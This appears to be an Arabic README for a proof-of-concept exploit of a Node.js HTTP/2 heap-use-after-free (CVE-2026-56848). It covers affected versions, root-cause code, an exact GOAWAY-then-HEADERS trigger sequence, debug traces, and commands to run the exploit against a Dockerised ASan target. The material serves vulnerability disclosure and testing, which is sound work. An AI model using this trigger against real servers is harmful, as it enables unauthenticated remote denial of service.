
استغلال PoC لثغرة CVE-2026-56848، وهي ثغرة heap-use-after-free في Node.js HTTP/2 تتيح حجب الخدمة (DoS) عن بُعد دون مصادقة. يشمل مشغل raw-socket، وتعليمات بناء ASan، وهدفًا مبنيًا على Docker.
يوجد خلل في معالجة HTTP/2 في Node.js يسمح باستدعاء
nghttp2_session_mem_send()بشكل إعادة الدخول (re-entrant) بينما يكونnghttp2_session_mem_recv()قيد التنفيذ، مما يؤدي إلى استخدام الذاكرة المحررة (heap-use-after-free).تؤثر هذه الثغرة على Node.js 26.x و24.x و22.x.
(ملاحظة: تنطبق الإصدارات المذكورة في الوصف فقط على حزمة nodejs المنبع (upstream) وليس على حزمة nodejs الموزعة عبر Alpine.
| خط الإصدار | المعرض للخطر | الإصلاح |
|---|---|---|
| 22.x (LTS) | ≤ 22.23.1 | 22.23.2 |
| 24.x (LTS) | ≤ 24.18.0 | 24.18.1 |
| 26.x | ≤ 26.5.0 | 26.5.1 |
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H — رفض خدمة (DoS) عن بُعد بدون مصادقة عبر إفساد الكومة)daa6d25e3dce — "http2: defer rst stream while in scope" (nodejs-private/node-private#921)يُجبر Http2Stream::SubmitRstStream() في src/node_http2.cc على تنظيف بيانات الإرسال المعلقة قبل وضع RST_STREAM في قائمة الانتظار:```cpp
void Http2Stream::SubmitRstStream(const uint32_t code) {
CHECK(!this->is_destroyed());
code_ = code;
// (NGHTTP2_CANCEL is deferred — fix for an older double-free) if (session_->is_in_scope() && is_stream_cancel(code)) { session_->AddPendingRstStream(id_); return; }
// If possible, force a purge of any currently pending data here to make // sure it is sent before closing the stream. ... if (session_->SendPendingData() != 0) { // ← RE-ENTRANT mem_send() session_->AddPendingRstStream(id_); return; }
FlushRstStream(); }
يستدعي `SendPendingData()` الدالة `nghttp2_session_mem_send()` ([node_http2.cc:1970](https://github.com/nodejs/node/blob/v22.23.1/src/node_http2.cc#L1970)). الحارس الوحيد لإعادة الدخول هو `is_sending()`، الذي يحمي من *الإرسال أثناء الإرسال* (كتابة قيد التنفيذ بالفعل) — **وليس من الإرسال أثناء الاستقبال**. عندما يعمل `SubmitRstStream()` من داخل سلسلة استدعاءات `nghttp2_session_mem_recv()` ("في النطاق")، تقوم عملية التفريغ بتشغيل `mem_send()` بشكل متداخل.
يعمل `mem_send()` المتداخل على إرسال الإطارات التي تعمل معالجة جانب الإرسال فيها على هدم التدفقات (`nghttp2_session_close_stream_on_goaway()` → `on_stream_close` → `Http2Stream::Destroy()` → تحرير كائن `Http2Stream` الخاص بـ C++). لا يزال التدفق المحرَّر مُشارًا إليه من عملية الاستقبال الجارية: يواصل `SubmitRstStream()` نفسه التنفيذ على `this` المحرَّر (حيث يقرأ `FlushRstStream()` التالي `is_destroyed()`)، ويواصل `mem_recv()` الخارجي اجتياز حالة الإطار/الترويسة للتدفق المغلق → **heap-use-after-free**.
### سلسلة التشغيل (كلها داخل استدعاء واحد لـ `nghttp2_session_mem_recv()`)
1. يرسل المهاجم `GOAWAY(lastStreamID=0, NO_ERROR)` متبوعًا فورًا بإطارات `HEADERS` لتدفقات جديدة (3، 5، 7، …) في مقطع TCP واحد.
2. تعالج `mem_recv()` الخاصة بالخادم إطار GOAWAY → `session.close()` الخاص بـ JS → `session.closed = true` ويتم **إيداع GOAWAY صادر لكن لم يُرسَل بعد**.
3. ترفض nghttp2 التدفقات الواردة الجديدة فقط بمجرد أن يكون GOAWAY قد *أُرسل* فعليًا (`session_allow_incoming_new_stream()` يتحقق من `TERM_ON_SEND | SENT`، وليس `SUBMITTED`)، لذا يظل `HEADERS(3)` مقبولًا.
4. يرى `onSessionHeaders()` الخاص بـ JS تدفقًا جديدًا على جلسة مغلقة ويرفضه: `handle.rstStream(NGHTTP2_REFUSED_STREAM)` (lib/internal/http2/core.js).
5. يعمل `SubmitRstStream(NGHTTP2_REFUSED_STREAM)` الخاص بـ C++ في النطاق (داخل `mem_recv`)، و`REFUSED_STREAM ≠ CANCEL` → ينتقل إلى `SendPendingData()` → **إعادة دخول `nghttp2_session_mem_send()`**.
6. يُفرِّغ الإرسال المتداخل إطار GOAWAY الصادر؛ وتُغلق معالجة GOAWAY في جانب الإرسال لدى nghttp2 التدفقات الواردة ذات المعرّف الأكبر من 1 (`session_close_stream_on_goaway(..., NGHTTP2_REFUSED_STREAM)`) وتُطلق `on_stream_close` → يحرر `Http2Stream::Destroy()` كائن تدفق C++ للتدفق 3.
7. يتراجع التنفيذ عائدًا إلى `SubmitRstStream()` على الكائن المحرَّر (`FlushRstStream()`)، ويستأنف `mem_recv()` الخارجي على حالة جلسة/تدفق تالفة → UAF.
الدليل من `NODE_DEBUG_NATIVE=http2` على خادم قابل للاستغلال (قراءة واحدة بحجم 86 بايت):```
receiving 86 bytes, offset 0
complete frame received: type: 7 ← GOAWAY
submitting goaway ← GOAWAY submitted, NOT yet sent
beginning headers for stream 3 ← still accepted (only SUBMITTED)
handle headers frame for stream 3 ← JS: session.closed → refuse
sending rst_stream with code 7 ← SubmitRstStream(REFUSED_STREAM), in scope
sending pending data ← RE-ENTRANT mem_send()
stream 3 closed with code: 7 ← GOAWAY send closes stream 3
Removing stream: 3 / destroying stream ← Http2Stream freed mid-recv
مخرجات مستوى الاتصال متطابقة في النسخ القابلة للاستغلال والنسخ المصححة (كلاهما ينتهي بإرسال GOAWAY الصادر فقط — في النسخ القابلة للاستغلال، يتم إرسال RST ضد دفق مغلق بالفعل؛ وفي النسخ المصححة، يتجاهل nghttp2 طلبات RST المعلّقة بمجرد خروج GOAWAY أولاً). الفرق داخلي، ويمكن رؤيته عبر NODE_DEBUG_NATIVE=http2:
sending pending data بين sending rst_stream with code 7 و stream 3 closed with code: 7 — حيث تعمل mem_send() المعاد دخولها (re-entrant) أثناء الاستقبال وتغلق/تدمر الدفق 3 بينما لا تزال mem_recv() قيد التنفيذ (انهيار تحت ASan).sending pending data بينهما — يتم فقط وضع RST في قائمة الانتظار؛ ولا يُغلق الدفق 3 إلا أثناء التدفق العادي بعد الاستقبال.server.js # minimal http2.createServer() target (no handler needed) exploit.js # raw-socket HTTP/2 client that drives the trigger
### تشغيل سريع```bash
# Terminal 1: the target (any vulnerable node: 22.23.1 / 24.18.0 / 26.5.0 or older in their lines)
node server.js 8000 # NODE_BIN=/path/to/node for a specific binary
# Terminal 2: the attack — a crash shows up in terminal 1 (ASan report / segfault)
node exploit.js --port 8000 --iterations 200
./bin/node (النسخة المحلية من بناء ASan المستخدمة أدناه) غير متتبَّعة في git — ابنِها
باتباع التعليمات الواردة تحت "بناء Node.js ضعيف مُجهَّز بـ ASan"،
أو استخدم مسار Docker.
يُبلِّغ الاستغلال عن حالة كل اتصال؛ SKIPPED (no handshake) بعد أول
اتصال يعني أن الهدف قد مات بالفعل جراء الهجوم.
ملف Dockerfile يُنشئ إصدارًا مستهدفًا ضعيفًا v22.23.1 مع ASan داخل حاوية (لا حاجة إلى سلسلة أدوات محلية — يكفي خادم Docker):```bash
docker build -t cve-2026-56848 .
docker run --rm -p 8000:8000 --name cve-target cve-2026-56848
node exploit.js --port 8000 --iterations 10
docker logs cve-target docker inspect cve-target --format '{{.State.ExitCode}}' # 133 (ASan abort) = crashed
نصيحة: إذا كان لديك بالفعل ثنائي `node` مُجهَّز بـ ASan مبني في مكان آخر، فتخطَّ
عملية التجميع الطويلة واحزمه مباشرةً:```bash
docker run --name cve-img -v /path/to/out/Release:/opt/node debian:bookworm-slim \
bash -c 'apt-get update -qq && apt-get install -y -qq libstdc++6 libatomic1 \
&& cp /opt/node/node /usr/local/bin/node-asan && mkdir -p /app'
docker cp server.js cve-img:/app/server.js
docker commit --change 'WORKDIR /app' --change 'EXPOSE 8000' \
--change 'ENV HOST=0.0.0.0' --change 'ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1' \
--change 'ENTRYPOINT ["/usr/local/bin/node-asan"]' --change 'CMD ["server.js", "8000"]' \
cve-img cve-2026-56848:verified
تم التحقق ضد الهدف المُشغَّل في حاوية: أول اتصال هجومي يُنتج
ERROR: AddressSanitizer: heap-use-after-free ... ABORTING في docker logs و
تخرج الحاوية (133 على linux/arm64) — نفس UAF كما في تشغيل ASan الأصلي.